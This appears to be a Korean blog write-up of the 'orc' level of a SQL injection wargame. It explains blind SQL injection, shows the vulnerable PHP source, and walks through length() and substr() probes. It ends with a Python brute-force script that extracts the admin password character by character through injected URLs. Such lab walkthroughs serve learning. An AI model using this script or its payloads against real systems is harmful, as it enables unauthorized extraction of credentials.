[*] Blind SQL Injeciton 일반적인 SQL Injection은 웹 시스템이 쿼리를 이용하여 데이터베이스를 조회하는 과정을 우회하는 방법이다. Blind SQL Injection은 다음과 같은 특정한 상황에서 사용 가능하다. 1. 쿼리문으로 참과 거짓일 때의 서버의 반응을 알 수 있어야 함. 2. 원하는 결과를 얻을 데이터베이스의 이름을 알 수 있어야 함. 이러한 상황일 때, 쿼리 문의 ascii, limit, substr 등의 구문을 이용한다. (참조 : http://kcats.tistory.com/121) Blind SQL Injection을 정리하자면 스무고개와 비슷하다. Q : 문자열 0번 인덱스가 a야? A : No Q : 문자열 0번 인덱스가 b야? A : Yes Q : 문자열 1번 인덱스가 a야? A : No Q : 문자열 1번 인덱스가 b야? A : No Q : 문자열 1번 인덱스가 c야? A : Yes ...... |
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello admin
"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>
13줄을 자세히 보면 ($result['pw']) && ($result['pw'] == $_GET['pw']) 코드를 보아 진짜 일치하는 비밀번호를 입력해야 하는 조건이 있다.
일단 한번 공격해보자는 마음으로 기본적인것 부터 공격해봤다.
Hello admin 이라고 출력은 됬지만, ORC Clear! 라는 문구가 없다.. T.T
정확한 pw값을 찾아야 될것같다. 먼저 pw값의 길이부터 구해보자.
length() 함수를 이용하자.
length(pw)의 값이 1보다 크다라는 결과가 참이면 Helllo admin이 출력된다.
이러한 방식으로 길이가 얼마인지 찾아보자.
length(pw) < 9 에서 Hello admin이 출력되었다.
따라서 pw의 길이는 8이라는 뜻이다. (length(pw) < 1~8 에서는 false이므로)
확실하게 하기위해 length(pw)=8 을 넣어보자.
이제 길이를 알았으니 정확한 값을 찾아야 한다.
이때, 가장많이 사용되는 SQL Injection 함수가 substr() 이다.
substr()함수는 문자열이나 변수에서 특정번째 부터 특정 길이만큼 자르는 함수이다.
예를들어, substr('Hello', 2, 2) 라고하면, "el" (문자 2번째 e부터 2개 만큼 자르겠다)가 출력된다.
그럼 이것을 어떻게 이용할까?
앞서 "쿼리문으로 참과 거짓일 때의 서버의 반응을 알 수 있어야 함." 이라고 하였다.
우리는 질의가 정답인지 아닌지 알려주는 "Hello admin"이라는 출력값이 있다.
따라서 다음과 같은 노가다가 필요하다.
substr(pw, 1, 1)='1' 이라고 한다면 pw의 첫번째 글자가 1이 맞는지 알아낼수 있다.
substr(pw, 2, 1)='3' 이라고 한다면 pw의 두번째 글자가 3이 맞는지 알아낼수 있다.
pw의 범위를 모르기 때문에 숫자로만 이루어져있는지 아닌지 알 방법이 없다.
hint 4번째 자리는 알파뱃, 나머지는 숫자
좀더 공부해서 파이썬으로 자동화 코딩을 만들어봐야겠다..
#coding:utf-8 import urllib2 for i in range(8): for j in range(ord('0'),ord('z')): url= "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27%20or%20id=%27admin%27%20and%20ascii(substr(`pw`,"+str(i+1)+",1))%20=%20%27"+str(j) req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' }) req.add_header("Cookie","PHPSESSID=leg222es6v28en8u9en2327jm3") if urllib2.urlopen(req).read().find("Hello admin") != -1: print chr(j), break